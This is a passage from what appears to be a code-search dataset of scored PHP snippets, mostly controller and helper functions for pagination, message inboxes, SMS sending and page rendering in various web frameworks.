href=\"'.$thispage.'?showlist='.$showlist.'&amp;safe=true&amp;nshow='.$nshow.'&amp;pg='.($pg > 1 ? $pg-1:1).'&amp;slquery='.$slquery.'\">&lt;&lt;</a> '.\"\\n\";\r\n\t\techo ' | <a href=\"'.$thispage.'?showlist='.$showlist.'&amp;safe=true&amp;nshow='.$nshow.'&amp;pg=1&amp;slquery='.$slquery.'\">'._SITELIST_FIRST.'</a> |'.\"\\n\";\r\n\r\n\t\tif ($npages <= 11) {\r\n\t\t\t$i = 1;\r\n\t\t\t$end = $npages;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif ($pg <= 6) {\r\n\t\t\t\t$i = 1;\r\n\t\t\t\t$end = 11;\r\n\t\t\t}\r\n\t\t\telseif ($pg >= $npages - 5) {\r\n\t\t\t\t$i = $npages - 11;\r\n\t\t\t\t$end = $npages;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$i = $pg - 5;\r\n\t\t\t\t$end = $pg + 5;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif ($i > 1) echo ' ... ';\r\n\t\twhile ($i <= $end) {\r\n\t\t\techo '<a href=\"'.$thispage.'?showlist='.$showlist.'&amp;safe=true&amp;nshow='.$nshow.'&amp;pg='.$i.'&amp;slquery='.$slquery.'\">'.($i == $pg ? '<big><span style=\"text-decoration:underline;color:#ff0000;\">'.$i.'</span></big>':$i).'</a> - '.\"\\n\";\r\n\t\t\t$i++;\r\n\t\t}\r\n\t\tif ($i - 1 < $npages) echo ' ... ';\r\n\t\techo ' | <a href=\"'.$thispage.'?showlist='.$showlist.'&amp;safe=true&amp;nshow='.$nshow.'&amp;pg='.$npages.'&amp;slquery='.$slquery.'\">'._SITELIST_LAST.'</a> |'.\"\\n\";\r\n\t\techo ' <a href=\"'.$thispage.'?showlist='.$showlist.'&amp;safe=true&amp;nshow='.$nshow.'&amp;pg='.($pg < $npages ? $pg+1:$npages).'&amp;slquery='.$slquery.'\">&gt;&gt;</a> |'.\"\\n\";\r\n\t\techo '</small></div><br />'.\"\\n\";\r\n\t}", "title": "" }, { "docid": "aa54767560a2c9d1a1216ea6f31b6b87", "score": "0.5493442", "text": "public function index()\n {\n $this->title = __('admin.messages');\n\n //Page content definition\n $this->content = $this->getViewContent('messages.content',\n [\n 'messages' => $this->getMessages()\n ]\n );\n\n return $this->renderCurrentView();\n }", "title": "" }, { "docid": "8184485932c3d4c8c788d3ff0a98c07c", "score": "0.5491329", "text": "public function textmessageAction(Request $request, $page) {\n\n $login = $this->getUser();\n $name = $login->getUsername();\n $em = $this->getDoctrine()->getManager();\n \n $textMessage = [];\n $limit = 20;\n $offset = ($limit * $page) - $limit;\n\n $countAll = $em->getRepository('AppBundle:Textmessage')\n ->countAllSent();\n $sentText = $em->getRepository('AppBundle:Textmessage')\n ->findSent($limit, $offset);\n\n $pager = new Paginator($page, $countAll, $limit);\n\n //search form\n $search = [];\n $formSearch = $this->createFormBuilder($search)\n ->add('search', 'text')\n ->add('save', 'submit', array('label' => 'Search'))\n ->getForm();\n\n $formSearch->handleRequest($request);\n\n if ($formSearch->isSubmitted() && $formSearch->isValid()) {\n $searchTerm = $formSearch[\"search\"]->getData();\n return $this->redirect($this->generateUrl('confirm_sent_sms_search', array(\n 'page' => 1, 'searchTerm' => $searchTerm,\n )));\n }\n\n $textMessage = [];\n $form = $this->createFormBuilder($textMessage)\n ->add('Phone', 'text', array(\n 'label' => 'Phone',\n 'required' => true,\n 'attr' => array('placeholder' => '+44.......')\n ))\n ->add('Message', 'textarea')\n ->add('save', 'submit', array('label' => 'Send message'))\n ->getForm();\n\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n \n $parameterPath = $this->container->getParameter('kernel.root_dir') . '/config/twilioParameters.yml';\n $value = Yaml::parse(file_get_contents($parameterPath));\n $sid = $value['parameters']['sid'];\n $secret = $value['parameters']['secret'];\n $accountSid = $value['parameters']['accountSid'];\n \n $client = new Client($sid, $secret, $accountSid);\n $body = $form[\"Message\"]->getData();\n $toNumber = $form[\"Phone\"]->getData();\n $fromNumber = '+447903576021';\n\n $client->messages->create(\n $toNumber, array(\n 'from' => $fromNumber,\n 'body' => $body,\n )\n );\n\n //check existing lead\n $checkNumber = substr($toNumber, 3);\n $thisLead = $em->getRepository('AppBundle:Lead')\n ->checkPhoneNumberTextMessage($checkNumber);\n\n //if sent is success save to the database\n $textMessage = new Textmessage();\n $textMessage->setCreatedAt(new \\DateTime());\n $textMessage->setBody($body);\n $textMessage->setFromNumber($fromNumber);\n $textMessage->setToNumber($toNumber);\n $textMessage->setMessageType(0);\n if ($thisLead) {\n $textMessage->setLeadId($thisLead[0]['id']);\n $textMessage->setClientName($thisLead[0]['customerName']);\n }\n $em->persist($textMessage);\n $em->flush();\n\n return $this->redirect($this->generateUrl('confirm_sms'));\n }\n\n return $this->render('AppBundle:Confirm:textmessage.html.twig', array(\n 'pager' => $pager, 'name' => $name, 'form' => $form->createView(), 'sentText' => $sentText, 'formSearch' => $formSearch->createView(),\n ));\n }", "title": "" }, { "docid": "315f1c8c411bca131588466fc348ce7f", "score": "0.54879355", "text": "public function messages() {\n // $messages = [];\n $messages = $this->listMessages();\n print $this->render(messages,$messages);\n }", "title": "" }, { "docid": "e28d67ffabbc635c595b9a2b6abb76d9", "score": "0.5486266", "text": "function messages_list($type=0, $start =0)\n\t{\n\t\t\t$link \t\t\t\t\t=breadcrumb();\n\t\t\t$data['breadcrumb'] \t=$link;\n\t\t/* Breadcrumb Setup End */\n\n\t\t$data['page_title'] \t= $this->lang->line('label_messages'); //label_suggestions_listing_page');\n\t\t\n\t\t\n\t\t$where\t\t\t\t =array('oxs.suggestion_reciever' =>$this->sessid); //'oxs.suggestion_status' =>$type, \n \t $data['rs']\t\t =$this->mod_suggestions->get_read_publisher_listing($where);\n\t \n\t\t$data['page_content']\t =$this->load->view('messages/messages_list', $data, true);\n\t\t$this->load->view('publisher_layout', $data);\n\t}", "title": "" }, { "docid": "51b1c5cd189049c62e952c6f9a28cbc2", "score": "0.5483074", "text": "public function index()\n {\n $senders = Customer::orderBy('id', 'DESC')->where('type','S')->with('phones')->paginate();\n return view('admin.sender.index', compact('senders'));\n }", "title": "" }, { "docid": "b775adc11dbe911bc4c1d0f6e186bd15", "score": "0.54743004", "text": "public function myMessages() {\n $messages = $this->listMessageByUser($_SESSION['user']['id']);\n print $this->render(myMessages,$messages);\n }", "title": "" }, { "docid": "c09cc04153499ef434f596176fafa66a", "score": "0.54730767", "text": "protected function affiche_pied_page() {\r\n\t\techo $this->piedpage;\r\n\t}", "title": "" }, { "docid": "411fe946a642ac9b1d9fb7d0656fb971", "score": "0.54725164", "text": "function kodkumpulan_listing(){\n $data['title'] = \"Senarai Kod Kumpulan Perkhidmatan\";\n $this->authentication->check();\n $this->_render_page($data);\n }", "title": "" }, { "docid": "59666546b4f4e0691a1f75204c85229e", "score": "0.5470157", "text": "public function index()\n {\n $number_of_pages = $this->calculate->getTotalOfPagesAdmin();\n if (null != $this->request->ifParameter(\"id\")) {\n $pages_current_page = $this->request->getParameter(\"id\");\n } else {\n $pages_current_page = 1;\n }\n $pages = $this->page->getPagesAdmin($pages_current_page);\n $page_previous_pages = $pages_current_page - 1;\n $page_next_pages = $pages_current_page + 1;\n $number_of_pages_pages = $this->calculate->getNumberOfPagesOfPagesAdmin();\n $this->generateadminView(array(\n 'pages' => $pages,\n 'number_of_pages' => $number_of_pages,\n 'pages_current_page' => $pages_current_page,\n 'page_previous_pages' => $page_previous_pages,\n 'page_next_pages' => $page_next_pages,\n 'number_of_pages_pages' => $number_of_pages_pages\n ));\n }", "title": "" }, { "docid": "59a43a2defeeca973a738cde100f8bd1", "score": "0.54682714", "text": "public function sendersAction()\n {\n $service = new AmavisService();\n $this->view->messages = $service->topSenders();\n }", "title": "" }, { "docid": "8159fb995801acbe8b8d52fc58752791", "score": "0.5460307", "text": "public function _index()\n {\n // The get_entries function in the\n // entries Streams API drivers grabs\n // entries from a stream.\n // The only really required parameters are\n // stream and namespace.\n\n $params = array(\n 'stream' => 'newss',\n 'namespace' => 'news',\n 'paginate' => 'yes',\n 'page_segment' => 4\n );\n\n $this->data->newss = $this->streams->entries->get_entries($params);\n\n // Build the page\n $this->template->title($this->module_details['name'])\n ->build('admin/index', $this->data);\n }", "title": "" }, { "docid": "09ca58a520acacc8e07df89eff377fd4", "score": "0.54591525", "text": "public function indexAction()\n\t{\n\t\tif (empty($this->_persistence->status)) {\n\t\t\t$this->_persistence->status = Joss_Crawler_Db_SynonymsErrors::STATUS_UNPROCESSED;\n\t\t}\n\t\t\n\t\t$page = $this->_getParam('page');\n\t\t\n\t\tif (empty($page)) {\n\t\t\t$page = empty($this->_persistence->page) ? 1 : $this->_persistence->page;\n\t\t} else {\n\t\t\t$this->_persistence->page = $page;\n\t\t}\n\t\t\n\t\t$this->view->status = $this->_persistence->status;\n\t\t\n\t\t$SynonymsErrors = new Joss_Crawler_Db_SynonymsErrors();\n\t\t$this->view->amounts = $SynonymsErrors->getAmounts();\n\n\t\t$paginator = new Zend_Paginator($SynonymsErrors->getPagerByStatus($this->_persistence->status));\n\t\t$paginator->setCurrentPageNumber($page);\n\t\t$paginator->setDefaultItemCountPerPage(15);\n\t\t$this->view->data = $paginator;\n\t\t\n\t\t// lets hilight the last accessed item\n\t\tif (!empty($this->_persistence->last_details_id)) {\n\t\t\t$this->view->last_details_id = $this->_persistence->last_details_id;\n\t\t}\n\t}", "title": "" }, { "docid": "de9b85f2d18c64952f4dea1ecd141e86", "score": "0.5453701", "text": "public function index()\n {\n $this->page();\n }", "title": "" }, { "docid": "89382ebe0a404c96fa1e0f3b4ae08b7d", "score": "0.54479164", "text": "public function index()\n {\n $listMessages = MyMessage::where('user_id',env('APP_OWNER_USERID'))->orderBy('created_at','desc');\n $nbrOfMessages = $listMessages->count();\n $listMessages = $listMessages->Paginate(7);\n\n return view('admin.messages', compact('listMessages','nbrOfMessages'));\n }", "title": "" }, { "docid": "e0a2eb340f3fe83ea4012caa84783e2c", "score": "0.5443561", "text": "public function msg_view(){\n\t\t$msg=enquiries::orderBy(\"created_at\",\"desc\")->SimplePaginate(5);\n\t\treturn view(\"message.msg\",[\"msg\"=>$msg]);\n\t\t//return \"hit\";\n\t}", "title": "" }, { "docid": "7b9f5203e79ad8a7fb7e521dbdfd0ced", "score": "0.54426515", "text": "function showPage() \n\t{\n\t\t$this->display($this->templatefile);\n\t}", "title": "" }, { "docid": "b652323f78e6624643aab1ae6579a4b9", "score": "0.54398555", "text": "function NewshowPaging()\n\t\t{\n\t\t\tglobal $PAGE_TOTAL_ROWS;\n\t\t\tglobal $PAGE_LIMIT;\n\t\t\tglobal $PAGE_URL;\n\t\t\tglobal $DISPLAY_PAGES;\n\t\t\t\n\t\t\t@$numofpages = ceil($PAGE_TOTAL_ROWS / $PAGE_LIMIT);\n\t\t\t$pages = ((empty($_GET['pages']))?1:$_GET['pages']);\n\t\t\t$page = ((empty($_GET['page']))?1:$_GET['page']);\n\t\t\t$filename = $PAGE_URL;\n\t\t\t$displayPages = (($DISPLAY_PAGES < 1)?10:$DISPLAY_PAGES);\n\n\t\t\tif(strlen(trim($filename)) > 0)\n\t\t\t{\t//echo \"filename : \".$filename;\t\t\n\t\t\t\t$file = split(\"-\",$filename);\n\t\t\t\t//echo \"filename : \".print_r($file);\n\t\t\t\tif(sizeof($file) == 1)\n\t\t\t\t{\n\t\t\t\t\t$_file = $file[0].\"?\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tfor($m=1;$m<sizeof($file);$m++)\t{\t$fn.= $file[$m].\"&\";\t}\n\t\t\t\t\t$_file = $file[0].\"?\".$fn;\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\t\tif($pages > 1)\n\t\t\t{\n\t\t\t\t$pageprev = $pages-$displayPages;\n\t\t\t\t$working_data = \"<a href=\".$_file.\"pages=\".$pageprev.\" class=\\\"nopage\\\" style=\\\"color:#000000\\\">PREV</a>&nbsp;\";\n\t\t\t}\n\t\t\t\t\t\n\t\t\t for($i = 1; $i <=$numofpages; $i++)\n\t\t\t {\n\t\t\t\tif($i == $page) \n\t\t\t\t{\n\t\t\t\t\t$selectedPage = (($page == $i)?\"style='font-weight:normal;'\":\"\");\n\t\t\t\t\t$working_data.= \"<a href=\".$_file.\"pages=\".$pages.\"&page=\".$i.\" class=\\\"selectedpage\\\"><strong>\".$i.\"</strong></a>&nbsp;\";\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t $working_data.= \"<a href=\".$_file.\"pages=\".$pages.\"&page=\".$i.\" class=\\\"nopage\\\">\".$i.\"</a>&nbsp;\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t }\n\t\t\t\n\t\t\tif($pages + $displayPages <= $numofpages)\n\t\t\t{\n\t\t\t\t$pagenext = ($pages + $displayPages);\n\t\t\t\t$working_data.= \"<a href=\".$_file.\"pages=\".$pagenext.\" class=\\\"grey-txt\\\">NEXT</a>\";\n\t\t\t}\n\t\t\t\n\t\t\treturn \"<span class=\\\"text\\\">Page: </span>\".((empty($working_data))?0:$working_data);\n\t\t}", "title": "" }, { "docid": "bceeff333486140c9163c93edcdc65af", "score": "0.54345924", "text": "public function display_page() {\n\t\tinclude_once( 'postlistr-page.php' );\n\t}", "title": "" }, { "docid": "a94d6d3a9905e2befc7da63897f52176", "score": "0.5429321", "text": "function getpages(){\n \t\n }", "title": "" }, { "docid": "d4f485afc2cd1957cf17c99fad334f35", "score": "0.54285634", "text": "public function all_batch()\n {\n $this->load->view('Mydashboard/header');\n $this->load->view('Mydashboard/batch_number');\n $this->load->view('Mydashboard/footer'); \n }", "title": "" }, { "docid": "264c881f3080957f6db0860444575b4c", "score": "0.5426209", "text": "private function pagination() {\n\t\t$this->line(\"Page: <fg=green>\" . $this->page['current'] . \" of \" . $this->page['total'] . \"</>\");\n\t\t$this->line(\"Page size: <fg=green>\" . $this->page['size'] . \"</>\");\n\t}", "title": "" }, { "docid": "14650b5a593c68601db2fb3ff2e91683", "score": "0.54213613", "text": "public function index()\n\t\t{\n\t\t\t$result = '';\n\t\t\t$max_time = $this->config->item('max_processing_time');\n\t\t\t$now = time();\n\t\t\t$time_to_stop = $now + $max_time;\n\t\t\tif ($this->_mail_to_send())\n\t\t\t{\n\t\t\t\twhile ($this->_mail_to_send() and $now < $time_to_stop )\n\t\t\t\t{\n\t\t\t\t\t$mail = $this->_get_next_email();\n\t\t\t\t\t$result .= $this->logrus_mail->send($mail->id);\n\t\t\t\t\techo 'sent email ', $mail->id, ' to ', $mail->to_email, '<br />';\n\t\t\t\t\t$now = time();\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$result = 'No mail to send';\n\t\t\t}\n\t\t\techo $result;\n\t\t}", "title": "" }, { "docid": "9d31e85e52d21319f7a58600cb09756b", "score": "0.5420934", "text": "public function pagesbin()\n {\n $number_of_pages_deleted = $this->calculate->getTotalOfPagesDeleted();\n if (null != $this->request->ifParameter(\"id\")) {\n $pages_deleted_current_page = $this->request->getParameter(\"id\");\n } else {\n $pages_deleted_current_page = 1;\n }\n $pages_deleted = $this->page->getPagesDeleted($pages_deleted_current_page);\n $page_previous_pages_deleted = $pages_deleted_current_page - 1;\n $page_next_pages_deleted = $pages_deleted_current_page + 1;\n $number_of_pages_deleted_pages = $this->calculate->getNumberOfPagesOfPagesDeleted();\n $this->generateadminView(array(\n 'pages_deleted' => $pages_deleted,\n 'number_of_pages_deleted' => $number_of_pages_deleted,\n 'pages_deleted_current_page' => $pages_deleted_current_page,\n 'page_previous_pages_deleted' => $page_previous_pages_deleted,\n 'page_next_pages_deleted' => $page_next_pages_deleted,\n 'number_of_pages_deleted_pages' => $number_of_pages_deleted_pages\n ));\n }", "title": "" }, { "docid": "5d4f9d84ef8739acee2a7c4ea2e9effa", "score": "0.54153955", "text": "public function ShowNewSMS()\n {\n $AllContact = Contacts::all();\n $breadcrumbs = [['link' => \"/\", 'name' => \"Home\"], ['link' => \"javascript:void(0)\", 'name' => \"SMS\"], ['name' => \"New SMS\"]];\n return view('/content/sms/new-sms', ['breadcrumbs' => $breadcrumbs , 'AllContact' => $AllContact ]);\n }", "title": "" }, { "docid": "6e0091f16f3f61aca410bf3210689365", "score": "0.5404541", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist($total, $indexchannels) = Browser_Service_IndexChannel::getList($page, $perpage);\n\t\t$this->assign('indexchannels', $indexchannels);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t}", "title": "" }, { "docid": "aab2efce3f5efc0f0a099037fea8c69f", "score": "0.54029363", "text": "public function showMore($storedAppointments = array(), $page = 1)\n {\n // set common response vars\n $response = array(\n 'source' => 'facebook-ss-sas-bot-web-services',\n 'data' => new \\stdClass,\n 'contextOut' => array(),\n );\n // slicing the array with prepared quick responses\n $offset = 0;\n if ($page > 1) {\n $offset = ($page - 1) * 9;\n }\n $slisedAppointments = array_slice($storedAppointments, $offset, 9);\n\n // build the speech response\n if (empty($storedAppointments) || empty($slisedAppointments)) {\n $response['speech'] = \"I'm sorry. There are no available appointments.\";\n } else {\n $response['speech'] = \"Ok, there are more available appointments at :\";\n }\n\n // preparing data for facebook messenger\n $response['data'] = array(\n 'facebook' => array(\n 'text' => $response['speech'],\n 'quick_replies' => $slisedAppointments,\n ),\n );\n $page++;\n $response['contextOut'][] = (object) array(\n 'name' => 'show-more',\n 'lifespan' => 3,\n 'parameters' => array(\n 'page' => $page,\n ),\n );\n return $response;\n }", "title": "" }, { "docid": "16ae9ede52392f44f2ec8e715fb81b00", "score": "0.5399917", "text": "public function print_message_contact_page($viewing) {\n \n global $USER, $CFG;\n \n $content = html_writer::start_tag('div', array('class'=>'content messages'));\n $content .= html_writer::start_tag('h1');\n $content .= get_string('yourmessages', 'local_ualmessages');\n $content .= html_writer::end_tag('h1');\n \n $content .= html_writer::start_tag('div', array('class'=>'in-page-controls'));\n $content .= html_writer::start_tag('p', array('class'=>'settings'));\n $content .= html_writer::start_tag('a', array('href'=>$CFG->httpswwwroot.'/message/edit.php?id='.$USER->id));\n $content .= get_string('settings', 'local_ualmessages');\n $content .= html_writer::start_tag('span');\n $content .= html_writer::start_tag('i');\n $content .= html_writer::end_tag('i');\n $content .= html_writer::end_tag('span');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('p');\n $content .= html_writer::end_tag('div');\n\n // tabs\n $content .= html_writer::start_tag('ul', array('class'=>'tabs'));\n $content .= html_writer::start_tag('li');\n $content .= html_writer::start_tag('a', array('href'=>$CFG->httpswwwroot.'/local/ualmessages/'));\n $content .= get_string('recentconversations', 'local_ualmessages');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('li');\n $content .= html_writer::start_tag('li', array('class'=>'active'));\n $content .= html_writer::start_tag('a', array('href'=>$CFG->httpswwwroot.'/local/ualmessages/contacts.php'));\n $content .= get_string('contacts', 'local_ualmessages');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('li');\n $content .= html_writer::start_tag('li', array('class'=>'compose'));\n $content .= html_writer::start_tag('a', array('href'=>'#'));\n $content .= get_string('composeanewmessage', 'local_ualmessages');\n $content .= html_writer::start_tag('span');\n $content .= html_writer::start_tag('i');\n $content .= html_writer::end_tag('i');\n $content .= html_writer::end_tag('span');\n $content .= html_writer::end_tag('a');\n $content .= html_writer::end_tag('li');\n $content .= html_writer::end_tag('ul'); \n \n // filter\n $content .= html_writer::start_tag('div', array('class'=>'filter'));\n $content .= html_writer::start_tag('form', array('id' => 'contactsfilter','method' => 'get','action' => ''));\n $content .= html_writer::start_tag('p');\n $content .= html_writer::start_tag('label');\n $content .= get_string('searchcontacts', 'local_ualmessages');\n $content .= html_writer::end_tag('label');\n $content .= html_writer::start_tag('input', array('name'=>'', 'value'=>get_string('searchcontacts', 'local_ualmessages'),'class'=>'text'));\n $content .= html_writer::start_tag('input', array('type'=>'submit','name'=>'searchcontacts','value'=>get_string('search', 'local_ualmessages'),'class'=>'submit'));\n $content .= html_writer::end_tag('p');\n \n // get user enrolled courses\n $courses = enrol_get_users_courses($USER->id, true);\n $coursecontexts = message_get_course_contexts($courses);\n \n /*$blockedusers = message_get_blocked_users($USER->id, false);\n $countblocked = count($blockedusers);*/\n \n if (!empty($courses)) {\n $courses_options = array();\n \n foreach($courses as $course) {\n if (has_capability('moodle/course:viewparticipants', $coursecontexts[$course->id])) {\n //Not using short_text() as we want the end of the course name. Not the beginning.\n $shortname = format_string($course->shortname, true, array('context' => $coursecontexts[$course->id]));\n if (textlib::strlen($shortname) > MESSAGE_MAX_COURSE_NAME_LENGTH) {\n $courses_options[MESSAGE_VIEW_COURSE.$course->id] = '...'.textlib::substr($shortname, -MESSAGE_MAX_COURSE_NAME_LENGTH);\n } else {\n $courses_options[MESSAGE_VIEW_COURSE.$course->id] = $shortname;\n }\n }\n }\n\n if (!empty($courses_options)) {\n $options[] = get_string('choosecourse','local_ualmessages');\n $options[] = array(get_string('courses') => $courses_options);\n }\n }\n \n /*if ($countblocked>0) {\n $str = get_string('blockedusers','message', $countblocked);\n $options[MESSAGE_VIEW_BLOCKED] = $str;\n }*/\n \n $content .= html_writer::start_tag('p');\n $content .= html_writer::start_tag('label');\n $content .= get_string('filterbycourse', 'local_ualmessages');\n $content .= html_writer::end_tag('label');\n $content .= html_writer::select($options, 'viewing', $viewing, false, array('id' => 'viewing','onchange' => 'this.form.submit()'));\n $content .= html_writer::end_tag('p');\n $content .= html_writer::end_tag('form');\n $content .= html_writer::end_tag('div');\n \n // inbox\n $content .= html_writer::start_tag('div', array('class'=>'inbox'));\n $content .= html_writer::start_tag('ul');\n \n // get contacts\n \n \n \n $content .= html_writer::end_tag('div');\n \n $content .= html_writer::end_tag('div');\n \n return $content;\n }", "title": "" }, { "docid": "de72d2ff0eb3412b180f9b1d52c2074d", "score": "0.5395144", "text": "public function index()\n {\n parent::GetPageData(); \n return $this->showIndex();\n }", "title": "" }, { "docid": "adcfda4fa8611d78ddb1d4de514b0773", "score": "0.5385646", "text": "public function indexAction() {\n if (!Engine_Api::_()->core()->hasSubject()) {\n return $this->setNoRender();\n }\n\n\t\t//GET THE SUBJECT OF PAGE.\n $this->view->sitepage = $sitepage = Engine_Api::_()->core()->getSubject('sitepage_page');\n $page_id = $sitepage->page_id;\n\n //CALLING FUNCTON AND PASS PAGE ID.\n $writetContent = Engine_Api::_()->getDbtable('writes', 'sitepage')->writeContent($page_id);\n\n $this->view->userPagestext = '';\n if (!empty($writetContent)) {\n $this->view->userPagestext = $writetContent->text;\n }\n\n//\t\t//CALLING FUNCTON AND PASS PAGE ID.\n//\t\t$userPages = Engine_Api::_()->getDbtable('pages', 'sitepage')->sitepageselect($page_id);\n// $new_array = array();\n// foreach ($userPages as $key => $userpage) {\n// $new_array = $userpage;\n// }\n// $this->view->userPages = $new_array;\n }", "title": "" }, { "docid": "603a6bc077eedca4f2959369ea93e2aa", "score": "0.5382479", "text": "function print_unit($page){\n //require: fun[search.php;connect_db.php]\n //include 'connect_db.php';\n $id = 1; //mysql table start id,page title id\n index($id,$page);\n //mysqli_close($dbc);\n }", "title": "" }, { "docid": "742ae09d5fb914cd126e52e5bc7fe72f", "score": "0.5377855", "text": "public function indexAction()\n {\n $user = Auth::getUser();\n $user_id = $user->id;\n $messages = Message::getInboxMessages($user_id);\n View::renderTemplate('Messages/inbox.html.twig',\n [\n 'messages' => $messages,\n ]);\n }", "title": "" }, { "docid": "6ade46b00bc9b3f7cad64b2ecc5c20b6", "score": "0.5377323", "text": "function sms_gateway_contact_add_page() {\n return 'Contact add page.';\n}", "title": "" }, { "docid": "d3e86a0986aa8e34122cfc93e1341377", "score": "0.53758526", "text": "public function index($page = 'viewBuses')\n { \t\n\t\tif ( ! file_exists(APPPATH.'/views/admin/'.$page.'.php'))\n\t\t{\t\t\t\n\t\t\tshow_404();\n\t\t}\n\t\t\n\t\t$data['title'] = ucfirst($page); // Capitalize the first letter\n\t\t\n\t\t$data['bus_data']=$this->bus_model->get_bus();\t\t\n\t\t\n\t\t$this->load->view('admin/'.$page, $data);\n }", "title": "" }, { "docid": "b1155c43df622e2d618410c140da6326", "score": "0.53741634", "text": "public function actionIndex()\n {\n $model = new SendSms();\n if ($model->load(Yii::$app->request->post())) {\n\n $send = Yii::$app->sms->send($model->phone, $model->message);\n if ($send) {\n Yii::$app->session->setFlash('success', Yii::t('app', 'Xabar yuborildi!'));\n } else {\n Yii::$app->session->setFlash('error', Yii::t('app', 'Xabar yuborilmadi! Muammo mavjud'));\n }\n return $this->redirect(['index']);\n }\n return $this->render('index', [\n 'model' => $model\n ]);\n }", "title": "" }, { "docid": "4ab2fc327ea5ef23cae652a6b033e0fb", "score": "0.5366939", "text": "public function AdminPage() {\n\n\t$doAll = $vgPage->Arg('all');\n\t$strMnuAll = $vgPage->SelfLink_WT(array('all' => TRUE),'all');\n\t$strMnuUnp = $vgPage->SelfLink_WT(array('all' => FALSE),'to process');\n\n//\t$objTbl = new VbzAdminOrderChgs($this->DB());\n\t$objTbl = $this;\n\tif ($doAll) {\n\t $strMenu = \"$strMnuUnp .. <b>$strMnuAll</b>\";\n\t $strDescr = ' in database';\n\t $sqlFilt = NULL;\n\t} else {\n\t $strMenu = \"<b>$strMnuUnp</b> .. $strMnuAll\";\n\t $strDescr = ' to be processed';\n\t $sqlFilt = '(WhenDecided IS NULL) AND ((WhenXmitted IS NULL) OR isSuccess) AND (WhenVoided IS NULL) AND (WhenHeldUp IS NULL)';\n\t}\n\t$objRows = $objTbl->GetData($sqlFilt,NULL,'ID DESC');\n\t$wgOut->AddWikiText(\"<b>Show Charges</b>: $strMenu\", TRUE);\n\t$arArgs['descr'] = $strDescr;\n\t$wgOut->AddWikiText($objRows->AdminTable($arArgs),TRUE);\n }", "title": "" }, { "docid": "cf19b4dafce9b5e234e8d2ac7cfd4b54", "score": "0.53643817", "text": "public function index()\n {\n $phones = Phone::paginate(15);\n return view('admin.tables.phone')->with('phones', $phones);\n }", "title": "" }, { "docid": "dd423b3731ea8b833438b10326d78a02", "score": "0.5362317", "text": "public function actionPage() {\n $content = array();\n $url = html_entity_decode(\\app\\components\\Utilities::getPageUrl());\n\n $url_sections = explode('/', $url);\n if (isset($url_sections[1]) && isset($url_sections[2]) && ($url_sections[1] == 'centre' OR $url_sections[1] == 'centres' )) {\n ///getting pgae details\n $unit_abbreviation = trim($url_sections[2]);\n if (!empty($unit_abbreviation)) {\n $Academic_unit_details = \\app\\models\\AcademicAdministrativeUnit::find()->where(array('UnitAbreviationCode' => $unit_abbreviation, 'ParentUnitId' => 0))->one();\n $content['unit_details'] = $Academic_unit_details;\n if ($Academic_unit_details) {\n $content['page_content'] = \\app\\models\\BasicPage::getActivePageAllDetailsByUrl($url, $Academic_unit_details->Id);\n if ($content['page_content']) {\n $content['side_menus'] = MenuItem::getActiveMenuItemsByMenuTypeRegionAndTemplateByUnitID(Menu::MENU_TYPE_SIDE_MENU, SiteRegions::CUSTOM_PAGE_CONTENT_SIDE_MENU, $Academic_unit_details->Id, $url);\n $content['side_menus_blocks'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_SIDE_MENU, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n\n//getting data for the page top column 1,2 & 3\n// $content['page_content_top_column1_blocks'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_TOP_COLUMN1, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n// $content['page_content_top_column2_blocks'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_TOP_COLUMN2, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n// $content['page_content_top_column3_blocks'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_TOP_COLUMN3, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n //contents for bottom middle area of the page\n $content['page_content_middle_blocks'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_MIDDLE, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n ////getting content for the content bottom area\n $content['page_content_bottom_column1'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_BOTTOM_COLUMN1, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n $content['page_content_bottom_column2'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_BOTTOM_COLUMN2, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n $content['page_content_bottom_column3'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_BOTTOM_COLUMN3, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n ////getting content for the content bottom left/right area\n $content['page_content_bottom_left'] = CustomBlocks::getActiveBlocksByRegionId(SiteRegions::CUSTOM_PAGE_CONTENT_BOTTOM_LEFT, CustomBlocks::BLOCK_TYPE_CUSTOM_PAGE, $url, $Academic_unit_details->Id);\n $content['page_content_bottom_right'] = 